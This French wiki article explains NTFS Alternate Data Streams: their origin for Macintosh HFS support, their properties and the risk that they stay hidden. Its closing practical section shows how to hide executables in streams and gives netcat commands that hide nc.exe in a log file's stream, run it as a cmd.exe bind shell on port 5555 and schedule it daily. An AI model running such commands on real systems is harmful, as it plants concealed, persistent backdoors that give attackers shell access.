Les flux ADS (Alternate Data Streams)

Un article de SeRoM - Wiki.


Sommaire

[modifier] Introduction

Le système de fichiers NTFS, utilisé par Microsoft a une fonctionnalité qui est peu documentée et inconnue de beaucoup de développeurs, administrateurs. Cette fonctionnalité se nomme Alternate Data Streams et permet à des données comme du texte, des graphiques ou du code exécutable d'être stockées dans des fichiers cachés. Ces derniers sont liés à un fichier visible normal.

L'utilité principale de ces flux etaient de permettre le support du système de fichiers Macintosh Hierarchical File System (HFS) et ainsi de permettre à un système de type Windows NT d'être serveur de fichiers pour des clients Macintosh.


[modifier] Propriétées de ces flux

  • Les flux ne sont visibles que par des logiciels spécialisés.
  • Les flux ne s'attachent pas seulement aux fichiers, ils s'attachent également aux répertoires.
  • Il peut y avoir plusieurs flux attachés à un même fichier.
  • Un flux ne peut être effacé. Le fichier avec lequel il est attaché doit être effacé pour que le flux soit enlevé.
  • Un flux attaché à un répertoire racine, par exemple "c::MonStream" ne peut être effacé.
  • "L'espace disque disponible" affiché par un programme comme Windows Explorer ne prend pas en compte l'espace disque consommé par les flux.
  • Un programme peut écrire dans un flux (et remplir le disque dur d'un utilisateur.)
  • Les flux peuvent être executés.
  • Les flux qui s'exécutent n'ont pas leur nom correctement affiché dans le Gestionnaire des tâches.


[modifier] Le risque

Le principal risque au niveau de la sécurité est que les ADS sont complètement cachés. Ceci offre une possibilité pour des trojan, virus, backdoor ou deni de service.


[modifier] En pratique

tous d'abort on creer un fichier (ouvrir une commande (cmd.exe))

echo Fichier test > testAds.txt

et ensuite on y attache un flux :

echo Ceci est un ADS > testAds.txt:MonStream.txt

Le flux NTFS peut être affiché en tapant:

notepad hsc.txt:MonStream

Exemple pour créer un Alternate Data Stream exécutable:

c:\type c:\winnt\notepad.exe > hsc.txt:NotepadCache.exe
c:\type c:\hsc\hack.exe > hsc.txt:hack.exe

Exemple avec netcat:

c:\> type c:\winnt\system32\nc.exe > c:\tmp\log.txt:backup.exe
c:\> start /b c:\tmp\log.txt:backup.exe -L -p 5555 -d -e cmd.exe 
c:\> at \\127.0.0.1 14:30 /every:M,T,W,Th,F,S,Su start /b c:\tmp\log.txt:backup.exe -L -p 5555 -d -e cmd.exe

la commande at lancera netcat tous les jour a 14h30